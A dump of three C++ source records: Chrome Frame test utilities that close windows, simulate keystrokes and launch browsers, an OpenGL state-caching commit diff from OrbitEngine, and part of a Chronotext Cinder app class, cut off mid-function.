*reinterpret_cast<int*>(param);\n  if (IsWindowVisible(hwnd)) {\n    if (IsWindowEnabled(hwnd)) {\n      DWORD results = 0;\n      if (!::SendMessageTimeout(hwnd, WM_SYSCOMMAND, SC_CLOSE, 0, SMTO_BLOCK,\n                                10000, &results)) {\n        DLOG(WARNING) << \"Window hung: \" << StringPrintf(L\"%08X\", hwnd);\n      }\n      count++;\n    } else {\n      DLOG(WARNING) << \"Skipping disabled window: \"\n                  << StringPrintf(L\"%08X\", hwnd);\n    }\n  }\n  return TRUE;  \/\/ continue enumeration\n}\n\n\/\/ Attempts to close all non-child, visible windows on the given thread.\n\/\/ The return value is the number of visible windows a close request was\n\/\/ sent to.\nint CloseVisibleTopLevelWindowsOnThread(DWORD thread_id) {\n  int window_close_attempts = 0;\n  EnumThreadWindows(thread_id, CloseWindowsThreadCallback,\n                    reinterpret_cast<LPARAM>(&window_close_attempts));\n  return window_close_attempts;\n}\n\n\/\/ Enumerates the threads of a process and attempts to close visible non-child\n\/\/ windows on all threads of the process.\n\/\/ The return value is the number of visible windows a close request was\n\/\/ sent to.\nint CloseVisibleWindowsOnAllThreads(HANDLE process) {\n  DWORD process_id = ::GetProcessId(process);\n  if (process_id == 0) {\n    NOTREACHED();\n    return 0;\n  }\n\n  ScopedHandle snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0));\n  if (!snapshot.IsValid()) {\n    NOTREACHED();\n    return 0;\n  }\n\n  int window_close_attempts = 0;\n  THREADENTRY32 te = { sizeof(THREADENTRY32) };\n  if (Thread32First(snapshot, &te)) {\n    do {\n      if (RTL_CONTAINS_FIELD(&te, te.dwSize, th32OwnerProcessID) &&\n          te.th32OwnerProcessID == process_id) {\n        window_close_attempts +=\n            CloseVisibleTopLevelWindowsOnThread(te.th32ThreadID);\n      }\n      te.dwSize = sizeof(te);\n    } while (Thread32Next(snapshot, &te));\n  }\n\n  return window_close_attempts;\n}\n\nclass ForegroundHelperWindow : public CWindowImpl<ForegroundHelperWindow> {\n public:\nBEGIN_MSG_MAP(ForegroundHelperWindow)\n  MESSAGE_HANDLER(WM_HOTKEY, OnHotKey)\nEND_MSG_MAP()\n\n  HRESULT SetForeground(HWND window) {\n    DCHECK(::IsWindow(window));\n    if (NULL == Create(NULL, NULL, NULL, WS_POPUP))\n      return AtlHresultFromLastError();\n\n    static const int hotkey_id = 0x0000baba;\n\n    SetWindowLongPtr(GWLP_USERDATA, reinterpret_cast<ULONG_PTR>(window));\n    RegisterHotKey(m_hWnd, hotkey_id, 0, VK_F22);\n\n    MSG msg = {0};\n    PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE);\n\n    INPUT hotkey = {0};\n    hotkey.type = INPUT_KEYBOARD;\n    hotkey.ki.wVk =  VK_F22;\n    SendInput(1, &hotkey, sizeof(hotkey));\n\n    while (GetMessage(&msg, NULL, 0, 0)) {\n      TranslateMessage(&msg);\n      DispatchMessage(&msg);\n      if (WM_HOTKEY == msg.message)\n        break;\n    }\n\n    UnregisterHotKey(m_hWnd, hotkey_id);\n    DestroyWindow();\n\n    return S_OK;\n  }\n\n  LRESULT OnHotKey(UINT msg, WPARAM wp, LPARAM lp, BOOL& handled) {  \/\/ NOLINT\n    HWND window = reinterpret_cast<HWND>(GetWindowLongPtr(GWLP_USERDATA));\n    SetForegroundWindow(window);\n    return 1;\n  }\n};\n\nbool ForceSetForegroundWindow(HWND window) {\n  if (GetForegroundWindow() == window)\n    return true;\n  ForegroundHelperWindow foreground_helper_window;\n  HRESULT hr = foreground_helper_window.SetForeground(window);\n  return SUCCEEDED(hr);\n}\n\nstruct PidAndWindow {\n  base::ProcessId pid;\n  HWND hwnd;\n};\n\nBOOL CALLBACK FindWindowInProcessCallback(HWND hwnd, LPARAM param) {\n  PidAndWindow* paw = reinterpret_cast<PidAndWindow*>(param);\n  base::ProcessId pid;\n  GetWindowThreadProcessId(hwnd, &pid);\n  if (pid == paw->pid && IsWindowVisible(hwnd)) {\n    paw->hwnd = hwnd;\n    return FALSE;\n  }\n\n  return TRUE;\n}\n\nbool EnsureProcessInForeground(base::ProcessId process_id) {\n  HWND hwnd = GetForegroundWindow();\n  base::ProcessId current_foreground_pid = 0;\n  DWORD active_thread_id = GetWindowThreadProcessId(hwnd,\n      &current_foreground_pid);\n  if (current_foreground_pid == process_id)\n    return true;\n\n  PidAndWindow paw = { process_id };\n  EnumWindows(FindWindowInProcessCallback, reinterpret_cast<LPARAM>(&paw));\n  if (!IsWindow(paw.hwnd)) {\n    DLOG(ERROR) << \"failed to find process window\";\n    return false;\n  }\n\n  bool ret = ForceSetForegroundWindow(paw.hwnd);\n  DLOG_IF(ERROR, !ret) << \"ForceSetForegroundWindow: \" << ret;\n\n  return ret;\n}\n\n\/\/ Iterates through all the characters in the string and simulates\n\/\/ keyboard input.  The input goes to the currently active application.\nbool SendString(const wchar_t* string) {\n  DCHECK(string != NULL);\n\n  INPUT input[2] = {0};\n  input[0].type = INPUT_KEYBOARD;\n  input[0].ki.dwFlags = KEYEVENTF_UNICODE;  \/\/ to avoid shift, etc.\n  input[1] = input[0];\n  input[1].ki.dwFlags |= KEYEVENTF_KEYUP;\n\n  for (const wchar_t* p = string; *p; p++) {\n    input[0].ki.wScan = input[1].ki.wScan = *p;\n    SendInput(2, input, sizeof(INPUT));\n  }\n\n  return true;\n}\n\nvoid SendVirtualKey(int16 key) {\n  INPUT input = { INPUT_KEYBOARD };\n  input.ki.wVk = key;\n  SendInput(1, &input, sizeof(input));\n  input.ki.dwFlags = KEYEVENTF_KEYUP;\n  SendInput(1, &input, sizeof(input));\n}\n\nvoid SendChar(char c) {\n  SendVirtualKey(VkKeyScanA(c));\n}\n\nvoid SendString(const char* s) {\n  while (*s) {\n    SendChar(*s);\n    s++;\n  }\n}\n\n\/\/ Sends a keystroke to the currently active application with optional\n\/\/ modifiers set.\nbool SendMnemonic(WORD mnemonic_char, bool shift_pressed, bool control_pressed,\n                  bool alt_pressed) {\n  INPUT special_keys[3] = {0};\n  for (int index = 0; index < arraysize(special_keys); ++index) {\n    special_keys[index].type = INPUT_KEYBOARD;\n    special_keys[index].ki.dwFlags = 0;\n  }\n\n  int num_special_keys = 0;\n  if (shift_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_SHIFT;\n    num_special_keys++;\n  }\n\n  if (control_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_CONTROL;\n    num_special_keys++;\n  }\n\n  if (alt_pressed)  {\n    special_keys[num_special_keys].ki.wVk = VK_MENU;\n    num_special_keys++;\n  }\n\n  \/\/ Depress the modifiers.\n  SendInput(num_special_keys, special_keys, sizeof(INPUT));\n\n  Sleep(100);\n\n  INPUT mnemonic = {0};\n  mnemonic.type = INPUT_KEYBOARD;\n  mnemonic.ki.wVk = mnemonic_char;\n\n  \/\/ Depress and release the mnemonic.\n  SendInput(1, &mnemonic, sizeof(INPUT));\n  Sleep(100);\n\n  mnemonic.ki.dwFlags |= KEYEVENTF_KEYUP;\n  SendInput(1, &mnemonic, sizeof(INPUT));\n  Sleep(100);\n\n  \/\/ Now release the modifiers.\n  for (int index = 0;  index < num_special_keys; index++) {\n    special_keys[index].ki.dwFlags |= KEYEVENTF_KEYUP;\n  }\n\n  SendInput(num_special_keys, special_keys, sizeof(INPUT));\n  Sleep(100);\n\n  return true;\n}\n\nstd::wstring GetExecutableAppPath(const std::wstring& file) {\n  std::wstring kAppPathsKey =\n      L\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\\";\n\n  std::wstring app_path;\n  RegKey key(HKEY_LOCAL_MACHINE, (kAppPathsKey + file).c_str());\n  if (key.Handle()) {\n    key.ReadValue(NULL, &app_path);\n  }\n\n  return app_path;\n}\n\nstd::wstring FormatCommandForApp(const std::wstring& exe_name,\n                                 const std::wstring& argument) {\n  std::wstring reg_path(StringPrintf(L\"Applications\\\\%ls\\\\shell\\\\open\\\\command\",\n                                     exe_name.c_str()));\n  RegKey key(HKEY_CLASSES_ROOT, reg_path.c_str());\n\n  std::wstring command;\n  if (key.Handle()) {\n    key.ReadValue(NULL, &command);\n    int found = command.find(L\"%1\");\n    if (found >= 0) {\n      command.replace(found, 2, argument);\n    }\n  }\n  return command;\n}\n\nbase::ProcessHandle LaunchExecutable(const std::wstring& executable,\n                                     const std::wstring& argument) {\n  base::ProcessHandle process = NULL;\n  std::wstring path = GetExecutableAppPath(executable);\n  if (path.empty()) {\n    path = FormatCommandForApp(executable, argument);\n    if (path.empty()) {\n      DLOG(ERROR) << \"Failed to find executable: \" << executable;\n    } else {\n      CommandLine cmdline = CommandLine::FromString(path);\n      base::LaunchApp(cmdline, false, false, &process);\n    }\n  } else {\n    CommandLine cmdline(FilePath(path));\n    cmdline.AppendLooseValue(argument);\n    base::LaunchApp(cmdline, false, false, &process);\n  }\n  return process;\n}\n\nbase::ProcessHandle LaunchFirefox(const std::wstring& url) {\n  return LaunchExecutable(kFirefoxImageName, url);\n}\n\nbase::ProcessHandle LaunchSafari(const std::wstring& url) {\n  return LaunchExecutable(kSafariImageName, url);\n}\n\nbase::ProcessHandle LaunchChrome(const std::wstring& url) {\n  return LaunchExecutable(kChromeImageName,\n      StringPrintf(L\"--%ls \", switches::kNoFirstRun) + url);\n}\n\nbase::ProcessHandle LaunchOpera(const std::wstring& url) {\n  \/\/ NOTE: For Opera tests to work it must be configured to start up with\n  \/\/ a blank page.  There is an command line switch, -nosession, that's supposed\n  \/\/ to avoid opening up the previous session, but that switch is not working.\n  \/\/ TODO(tommi): Include a special ini file (opera6.ini) for opera and launch\n  \/\/  with our required settings.  This file is by default stored here:\n  \/\/ \"%USERPROFILE%\\Application Data\\Opera\\Opera\\profile\\opera6.ini\"\n  return LaunchExecutable(kOperaImageName, url);\n}\n\nbase::ProcessHandle LaunchIEOnVista(const std::wstring& url) {\n  typedef HRESULT (WINAPI* IELaunchURLPtr)(\n      const wchar_t* url,\n      PROCESS_INFORMATION *pi,\n      VOID *info);\n\n  IELaunchURLPtr launch;\n  PROCESS_INFORMATION pi = {0};\n  IELAUNCHURLINFO  info = {sizeof info, 0};\n  HMODULE h = LoadLibrary(L\"ieframe.dll\");\n  if (!h)\n    return NULL;\n  launch = reinterpret_cast<IELaunchURLPtr>(GetProcAddress(h, \"IELaunchURL\"));\n  HRESULT hr = launch(url.c_str(), &pi, &info);\n  FreeLibrary(h);\n  if (SUCCEEDED(hr))\n    CloseHandle(pi.hThread);\n  return pi.hProcess;\n}\n\nbase::ProcessHandle LaunchIE(const std::wstring& url) {\n  if (win_util::GetWinVersion() >= win_util::WINVERSION_VISTA) {\n    return LaunchIEOnVista(url);\n  } else {\n    return LaunchExecutable(kIEImageName, url);\n  }\n}\n\nint CloseAllIEWindows() {\n  int ret = 0;\n\n  ScopedComPtr<IShellWindows> windows;\n  HRESULT hr = ::CoCreateInstance(__uuidof(ShellWindows), NULL, CLSCTX_ALL,\n      IID_IShellWindows, reinterpret_cast<void**>(windows.Receive()));\n  DCHECK(SUCCEEDED(hr));\n\n  if (SUCCEEDED(hr)) {\n    long count = 0;  \/\/ NOLINT\n    windows->get_Count(&count);\n    VARIANT i = { VT_I4 };\n    for (i.lVal = 0; i.lVal < count; ++i.lVal) {\n      ScopedComPtr<IDispatch> folder;\n      windows->Item(i, folder.Receive());\n      if (folder != NULL) {\n        ScopedComPtr<IWebBrowser2> browser;\n        if (SUCCEEDED(browser.QueryFrom(folder))) {\n          browser->Quit();\n          ++ret;\n        }\n      }\n    }\n  }\n\n  return ret;\n}\n\n}  \/\/ namespace chrome_frame_test\n<|endoftext|>"}
{"text":"<commit_before>#include \"OE\/Platform\/OpenGL\/GLStates.hpp\"\n\n#include \"OE\/Platform\/OpenGL\/OpenGL.hpp\"\n#include \"OE\/Graphics\/API\/FrameBuffer.hpp\"\n\nnamespace OrbitEngine { namespace Graphics {\n\n\tvoid GLStates::setBlending(BlendState blendState)\n\t{\n\t\tGLEnableDisableColorMask(blendState != BlendState::NO_COLOR);\n\n\t\tswitch (blendState)\n\t\t{\n\t\tcase BlendState::NO_COLOR:\n\t\tcase BlendState::DISABLED:\n\t\t\tGLEnableDisable(GL_BLEND, false);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tGLEnableDisable(GL_BLEND, true);\n\t\t\tswitch (blendState)\n\t\t\t{\n\t\t\tcase BlendState::SRC_ALPHA:\n\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA));\n\t\t\t\tbreak;\n\t\t\tcase BlendState::ONE_ALPHA:\n\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA));\n\t\t\t\tbreak;\n\t\t\tcase BlendState::ONE_ONE:\n\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ONE));\n\t\t\t\tbreak;\n\t\t\tcase BlendState::ONE_ZERO:\n\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ZERO));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvoid GLStates::setCullMode(CullMode cullMode)\n\t{\n#if !OE_OPENGL_ES\n\t\t\/\/ Not supported in OpenGLES\n\t\tif (cullMode == CullMode::WIREFRAME)\n\t\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_LINE);\n\t\telse\n\t\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_FILL);\n#else\n\t\tcullMode = CullMode::NONE;\n#endif\n\n\t\tif (cullMode == CullMode::NONE)\n\t\t\tGLEnableDisable(GL_CULL_FACE, false);\n\t\telse {\n\t\t\tGLEnableDisable(GL_CULL_FACE, true);\n\n\t\t\tif (cullMode != CullMode::WIREFRAME)\n\t\t\t\tOE_CHECK_GL(glCullFace(CullModeToGL(cullMode)));\n\t\t}\n\t}\n\n\tvoid GLStates::setDepthTest(FunctionMode depthMode)\n\t{\n\t\tbool enabled = depthMode != FunctionMode::DISABLED;\n\t\tGLEnableDisable(GL_DEPTH_TEST, enabled);\n\t\tif (!enabled)\n\t\t\treturn;\n\t\tOE_CHECK_GL(glDepthFunc(FunctionModeToGL(depthMode)));\n\t}\n\n\tvoid GLStates::setStencil(FunctionMode stencilMode, StencilOperation operation)\n\t{\n\t\tbool enabled = stencilMode != FunctionMode::DISABLED;\n\t\tGLEnableDisable(GL_STENCIL_TEST, enabled);\n\t\tif (!enabled)\n\t\t\treturn;\n\n\t\tOE_CHECK_GL(glStencilMask(0xff));\n\t\tOE_CHECK_GL(glStencilFunc(FunctionModeToGL(stencilMode), 0x0, 0xff));\n\n\t\tswitch (operation)\n\t\t{\n\t\tcase StencilOperation::ZERO:\n\t\t\tOE_CHECK_GL(glStencilOp(GL_ZERO, GL_ZERO, GL_ZERO));\n\t\t\tbreak;\n\t\tcase StencilOperation::KEEP:\n\t\t\tOE_CHECK_GL(glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP));\n\t\t\tbreak;\n\t\tcase StencilOperation::SEPARATE_INCR_DECR:\n\t\t\tOE_CHECK_GL(glStencilOpSeparate(GL_FRONT, GL_KEEP, GL_KEEP, GL_INCR_WRAP));\n\t\t\tOE_CHECK_GL(glStencilOpSeparate(GL_BACK, GL_KEEP, GL_KEEP, GL_DECR_WRAP));\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvoid GLStates::setScissor(Math::Scissor* scissor)\n\t{\n\t\tbool enabled = scissor != nullptr;\n\n\t\tGLEnableDisable(GL_SCISSOR_TEST, enabled);\n\n\t\tif (enabled) {\n\t\t\tOE_CHECK_GL(glScissor(\n\t\t\t\tscissor->rect.x,\n\t\t\t\tFrameBuffer::GetCurrentSize().y - (scissor->rect.w + scissor->rect.y),\n\t\t\t\tscissor->rect.z,\n\t\t\t\tscissor->rect.w\n\t\t\t));\n\t\t}\n\t}\n\n\tGLenum GLStates::CullModeToGL(CullMode cullMode)\n\t{\n\t\tswitch (cullMode)\n\t\t{\n\t\tcase CullMode::WIREFRAME:\n\t\tcase CullMode::NONE:\n\t\t\treturn GL_FRONT_AND_BACK;\n\t\tcase CullMode::FRONT:\n\t\t\treturn GL_FRONT;\n\t\tcase CullMode::BACK:\n\t\t\treturn GL_BACK;\n\t\t}\n\t\t\/\/ TODO Assert\n\t\treturn 0;\n\t}\n\n\tGLenum GLStates::FunctionModeToGL(FunctionMode functionMode)\n\t{\n\t\tswitch (functionMode)\n\t\t{\n\t\tcase FunctionMode::NEVER:\n\t\t\treturn GL_NEVER;\n\t\tcase FunctionMode::LESS:\n\t\t\treturn GL_LESS;\n\t\tcase FunctionMode::EQUAL:\n\t\t\treturn GL_EQUAL;\n\t\tcase FunctionMode::LESS_EQUAL:\n\t\t\treturn GL_LEQUAL;\n\t\tcase FunctionMode::GREATER:\n\t\t\treturn GL_GREATER;\n\t\tcase FunctionMode::NOT_EQUAL:\n\t\t\treturn GL_NOTEQUAL;\n\t\tcase FunctionMode::GREATER_EQUAL:\n\t\t\treturn GL_GEQUAL;\n\t\tcase FunctionMode::ALWAYS:\n\t\t\treturn GL_ALWAYS;\n\t\t}\n\t\t\/\/ TODO Assert\n\t\treturn 0;\n\t}\n\n\tbool GLStates::cache(GLenum key, GLuint value)\n\t{\n\t\tauto it = m_GLCache.find(key);\n\t\tif (it != m_GLCache.end()) {\n\t\t\tif ((*it).second == value)\n\t\t\t\treturn true; \/\/ hit\n\t\t}\n\t\tm_GLCache[key] = value;\n\t\treturn false;\n\t}\n\n\tvoid GLStates::GLEnableDisable(GLenum type, GLboolean enabled)\n\t{\n\t\tif (cache(type, enabled))\n\t\t\treturn;\n\n\t\tif (enabled) {\n\t\t\tOE_CHECK_GL(glEnable(type));\n\t\t}\n\t\telse {\n\t\t\tOE_CHECK_GL(glDisable(type));\n\t\t}\n\t}\n\n\tvoid GLStates::GLEnableDisableColorMask(GLboolean enabled)\n\t{\n\t\tif (cache(0x8E52 \/* GL_SAMPLE_MASK_VALUE *\/, enabled))\n\t\t\treturn;\n\n\t\tOE_CHECK_GL(glColorMask(enabled, enabled, enabled, enabled));\n\t}\n} }<commit_msg>GL blend func cache<commit_after>#include \"OE\/Platform\/OpenGL\/GLStates.hpp\"\n\n#include \"OE\/Platform\/OpenGL\/OpenGL.hpp\"\n#include \"OE\/Graphics\/API\/FrameBuffer.hpp\"\n\nnamespace OrbitEngine { namespace Graphics {\n\n\tvoid GLStates::setBlending(BlendState blendState)\n\t{\n\t\tGLEnableDisableColorMask(blendState != BlendState::NO_COLOR);\n\n\t\tswitch (blendState)\n\t\t{\n\t\tcase BlendState::NO_COLOR:\n\t\tcase BlendState::DISABLED:\n\t\t\tGLEnableDisable(GL_BLEND, false);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tGLEnableDisable(GL_BLEND, true);\n\n\t\t\tif (!cache(GL_BLEND_SRC, (int)blendState)) {\n\t\t\t\tswitch (blendState)\n\t\t\t\t{\n\t\t\t\tcase BlendState::SRC_ALPHA:\n\t\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA));\n\t\t\t\t\tbreak;\n\t\t\t\tcase BlendState::ONE_ALPHA:\n\t\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA));\n\t\t\t\t\tbreak;\n\t\t\t\tcase BlendState::ONE_ONE:\n\t\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ONE));\n\t\t\t\t\tbreak;\n\t\t\t\tcase BlendState::ONE_ZERO:\n\t\t\t\t\tOE_CHECK_GL(glBlendFunc(GL_ONE, GL_ZERO));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid GLStates::setCullMode(CullMode cullMode)\n\t{\n#if !OE_OPENGL_ES\n\t\t\/\/ Not supported in OpenGLES\n\t\tif (cullMode == CullMode::WIREFRAME)\n\t\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_LINE);\n\t\telse\n\t\t\tglPolygonMode(GL_FRONT_AND_BACK, GL_FILL);\n#else\n\t\tcullMode = CullMode::NONE;\n#endif\n\n\t\tif (cullMode == CullMode::NONE)\n\t\t\tGLEnableDisable(GL_CULL_FACE, false);\n\t\telse {\n\t\t\tGLEnableDisable(GL_CULL_FACE, true);\n\n\t\t\tif (cullMode != CullMode::WIREFRAME)\n\t\t\t\tOE_CHECK_GL(glCullFace(CullModeToGL(cullMode)));\n\t\t}\n\t}\n\n\tvoid GLStates::setDepthTest(FunctionMode depthMode)\n\t{\n\t\tbool enabled = depthMode != FunctionMode::DISABLED;\n\t\tGLEnableDisable(GL_DEPTH_TEST, enabled);\n\t\tif (!enabled)\n\t\t\treturn;\n\t\tOE_CHECK_GL(glDepthFunc(FunctionModeToGL(depthMode)));\n\t}\n\n\tvoid GLStates::setStencil(FunctionMode stencilMode, StencilOperation operation)\n\t{\n\t\tbool enabled = stencilMode != FunctionMode::DISABLED;\n\t\tGLEnableDisable(GL_STENCIL_TEST, enabled);\n\t\tif (!enabled)\n\t\t\treturn;\n\n\t\tOE_CHECK_GL(glStencilMask(0xff));\n\t\tOE_CHECK_GL(glStencilFunc(FunctionModeToGL(stencilMode), 0x0, 0xff));\n\n\t\tswitch (operation)\n\t\t{\n\t\tcase StencilOperation::ZERO:\n\t\t\tOE_CHECK_GL(glStencilOp(GL_ZERO, GL_ZERO, GL_ZERO));\n\t\t\tbreak;\n\t\tcase StencilOperation::KEEP:\n\t\t\tOE_CHECK_GL(glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP));\n\t\t\tbreak;\n\t\tcase StencilOperation::SEPARATE_INCR_DECR:\n\t\t\tOE_CHECK_GL(glStencilOpSeparate(GL_FRONT, GL_KEEP, GL_KEEP, GL_INCR_WRAP));\n\t\t\tOE_CHECK_GL(glStencilOpSeparate(GL_BACK, GL_KEEP, GL_KEEP, GL_DECR_WRAP));\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvoid GLStates::setScissor(Math::Scissor* scissor)\n\t{\n\t\tbool enabled = scissor != nullptr;\n\n\t\tGLEnableDisable(GL_SCISSOR_TEST, enabled);\n\n\t\tif (enabled) {\n\t\t\tOE_CHECK_GL(glScissor(\n\t\t\t\tscissor->rect.x,\n\t\t\t\tFrameBuffer::GetCurrentSize().y - (scissor->rect.w + scissor->rect.y),\n\t\t\t\tscissor->rect.z,\n\t\t\t\tscissor->rect.w\n\t\t\t));\n\t\t}\n\t}\n\n\tGLenum GLStates::CullModeToGL(CullMode cullMode)\n\t{\n\t\tswitch (cullMode)\n\t\t{\n\t\tcase CullMode::WIREFRAME:\n\t\tcase CullMode::NONE:\n\t\t\treturn GL_FRONT_AND_BACK;\n\t\tcase CullMode::FRONT:\n\t\t\treturn GL_FRONT;\n\t\tcase CullMode::BACK:\n\t\t\treturn GL_BACK;\n\t\t}\n\t\t\/\/ TODO Assert\n\t\treturn 0;\n\t}\n\n\tGLenum GLStates::FunctionModeToGL(FunctionMode functionMode)\n\t{\n\t\tswitch (functionMode)\n\t\t{\n\t\tcase FunctionMode::NEVER:\n\t\t\treturn GL_NEVER;\n\t\tcase FunctionMode::LESS:\n\t\t\treturn GL_LESS;\n\t\tcase FunctionMode::EQUAL:\n\t\t\treturn GL_EQUAL;\n\t\tcase FunctionMode::LESS_EQUAL:\n\t\t\treturn GL_LEQUAL;\n\t\tcase FunctionMode::GREATER:\n\t\t\treturn GL_GREATER;\n\t\tcase FunctionMode::NOT_EQUAL:\n\t\t\treturn GL_NOTEQUAL;\n\t\tcase FunctionMode::GREATER_EQUAL:\n\t\t\treturn GL_GEQUAL;\n\t\tcase FunctionMode::ALWAYS:\n\t\t\treturn GL_ALWAYS;\n\t\t}\n\t\t\/\/ TODO Assert\n\t\treturn 0;\n\t}\n\n\tbool GLStates::cache(GLenum key, GLuint value)\n\t{\n\t\tauto it = m_GLCache.find(key);\n\t\tif (it != m_GLCache.end()) {\n\t\t\tif ((*it).second == value)\n\t\t\t\treturn true; \/\/ hit\n\t\t}\n\t\tm_GLCache[key] = value;\n\t\treturn false;\n\t}\n\n\tvoid GLStates::GLEnableDisable(GLenum type, GLboolean enabled)\n\t{\n\t\tif (cache(type, enabled))\n\t\t\treturn;\n\n\t\tif (enabled) {\n\t\t\tOE_CHECK_GL(glEnable(type));\n\t\t}\n\t\telse {\n\t\t\tOE_CHECK_GL(glDisable(type));\n\t\t}\n\t}\n\n\tvoid GLStates::GLEnableDisableColorMask(GLboolean enabled)\n\t{\n\t\tif (cache(0x8E52 \/* GL_SAMPLE_MASK_VALUE *\/, enabled))\n\t\t\treturn;\n\n\t\tOE_CHECK_GL(glColorMask(enabled, enabled, enabled, enabled));\n\t}\n} }<|endoftext|>"}
{"text":"<commit_before>\/*\n * THE NEW CHRONOTEXT TOOLKIT: https:\/\/github.com\/arielm\/new-chronotext-toolkit\n * COPYRIGHT (C) 2012-2014, ARIEL MALKA ALL RIGHTS RESERVED.\n *\n * THE FOLLOWING SOURCE-CODE IS DISTRIBUTED UNDER THE MODIFIED BSD LICENSE:\n * https:\/\/github.com\/arielm\/new-chronotext-toolkit\/blob\/master\/LICENSE.md\n *\/\n\n#include \"chronotext\/cinder\/CinderApp.h\"\n#include \"chronotext\/utils\/Utils.h\"\n\nusing namespace std;\nusing namespace ci;\nusing namespace app;\n\nnamespace chronotext\n{\n    CinderApp::CinderApp()\n    :\n    startCount(0),\n    updateCount(0),\n    ticks(0)\n    {}\n\n    void CinderApp::setup()\n    {\n        \/*\n         * App::privateUpdate__ HACKING: SEE COMMENT IN CinderApp::update\n         *\/\n        io_service().post([this]{ sketch->clock().update(); });\n        \n        sketch->setIOService(io_service());\n        sketch->timeline().stepTo(0);\n        sketch->setup(false);\n        \n#if defined(CINDER_COCOA_TOUCH)\n        getSignalDidBecomeActive().connect(bind(&CinderApp::start, this));\n        getSignalWillResignActive().connect(bind(&CinderApp::stop, this));\n#endif\n    }\n    \n    void CinderApp::shutdown()\n    {\n        stop();\n        sketch->stop(CinderSketch::FLAG_FOCUS_LOST);\n        sketch->shutdown();\n        delete sketch;\n    }\n    \n    void CinderApp::resize()\n    {\n        sketch->resize();\n        \n        if (startCount == 0)\n        {\n            start();\n            sketch->start(CinderSketch::FLAG_FOCUS_GAINED);\n            startCount++;\n        }\n    }\n    \n    void CinderApp::update()\n    {\n        double now = getElapsedSeconds();\n        \n        if (ticks == 0)\n        {\n            t0 = now;\n        }\n        \n        ticks++;\n        elapsed = now - t0;\n        \n        \/\/ ---\n       \n        \/*\n         * App::privateUpdate__ HACKING:\n         * WE MUST UPDATE THE CLOCK AT THE BEGINNING OF THE FRAME,\n         * AND WE NEED THIS TO TAKE PLACE BEFORE THE FUNCTIONS\n         * \"POSTED\" DURING CinderSketch::update ARE \"POLLED\"\n         *\/\n        io_service().post([this]{ sketch->clock().update(); });\n        \n        \/*\n         * MUST BE CALLED BEFORE Sketch::update\n         * ANY SUBSEQUENT CALL WILL RETURN THE SAME TIME-VALUE\n         *\n         * NOTE THAT getTime() COULD HAVE BEEN ALREADY CALLED\n         * WITHIN ONE OF THE PREVIOUSLY \"POLLED\" FUNCTIONS\n         *\/\n        now = sketch->clock().getTime();\n        \n        sketch->update();\n        sketch->timeline().stepTo(now); \/\/ WE OBVIOUSLY CAN'T USE THE APP'S TIMELINE...\n        updateCount++;\n    }\n    \n    void CinderApp::draw()\n    {\n        if (updateCount == 0)\n        {\n            update(); \/\/ HANDLING CASES WHERE draw() IS INVOKED BEFORE update()\n        }\n        \n        sketch->draw();\n    }\n    \n    void CinderApp::mouseDown(MouseEvent event)\n    {\n        addTouch(0, event.getPos());\n    }\n    \n    void CinderApp::mouseDrag(MouseEvent event)\n    {\n        updateTouch(0, event.getPos());\n    }\n    \n    void CinderApp::mouseUp(MouseEvent event)\n    {\n        removeTouch(0, event.getPos());\n    }\n    \n    void CinderApp::touchesBegan(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            addTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::touchesMoved(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            updateTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::touchesEnded(TouchEvent event)\n    {\n        for (auto &touch : event.getTouches())\n        {\n            removeTouch(touch.getId() - 1, touch.getPos());\n        }\n    }\n    \n    void CinderApp::accelerated(AccelEvent event)\n    {\n        sketch->accelerated(event);\n    }\n    \n    void CinderApp::sendMessageToSketch(int what, const string &body)\n    {\n        sketch->sendMessage(Message(what, body));\n    }\n    \n    void CinderApp::emulate(Settings *settings, const EmulatedDevice &device)\n    {\n        \/*\n         * HACK TO OVERCOME MALFUNCTION IN 0.8.5\n         * OTHERWISE, WE'D USE settings->getDisplay()->getContentScale()\n         *\/\n        stringstream tmp;\n        tmp << *settings->getDisplay();\n        float realContentScale = (tmp.str().back() == '2') ? 2 : 1;\n        \n        settings->setWindowSize(device.size * device.contentScale \/ realContentScale);\n\n        WindowInfo windowInfo;\n        windowInfo.size = device.size;\n        windowInfo.contentScale = device.contentScale;\n        windowInfo.diagonal = device.diagonal;\n        windowInfo.density = (device.diagonal == 0) ? 0: (device.size.length() \/ device.diagonal);\n        \n        SystemInfo::instance().setWindowInfo(windowInfo);\n    }\n    \n#if defined(CINDER_ANDROID)\n    \n    void CinderApp::resume(bool renewContext)\n    {\n        sketch->setup(true);\n        sketch->start(CinderSketch::FLAG_APP_RESUMED);\n    }\n    \n    void CinderApp::pause()\n    {\n        sketch->event(CinderSketch::EVENT_CONTEXT_LOST);\n        